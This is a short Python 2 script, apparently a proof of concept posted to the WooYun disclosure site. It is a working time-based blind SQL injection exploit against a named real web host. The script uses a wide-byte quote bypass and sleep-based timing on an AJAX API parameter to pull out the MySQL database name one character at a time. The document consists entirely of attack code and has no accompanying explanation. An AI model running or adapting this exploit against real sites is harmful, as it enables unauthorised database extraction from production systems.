WooYun.org

#encoding=utf-8
import httplib
import time
import string
import sys
import random
headers = {}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print 'Start to retrive mysql database():'
user = ''
for i in range(1, 30):
    j = 0
    isbreak = False
    for payload in payloads:
        try:
            s = "ascii(substring(lower(database()),%s,1))=%s" % (i, ord(payload))
            s = "if((" + s + "),sleep(5),1)"
            conn = httplib.HTTPConnection('e.dangdang.com', timeout=5)
            conn.request(method='GET',
                         url="/Standard/Framework/Core/hosts/ajax_api.php?isajax=1&page_id=14456%df'or/**/" + s +"%23&component_map_id=74288&domain=shuzi.dangdang.com&path_name=index&areaid=0&page_type=3&areatype=0&static_type=0&mix=1&domain_flag=1",
                         headers=headers)
            start_time = time.time()
            conn.getresponse()
            conn.close()
            print '.',
            j = j + 1
            if j == len(payloads):
               isbreak = True
        except:
            user += payload
            print '[in progress]', user
            break
    if isbreak:
       break
print '[Done] mysql database is %s' % user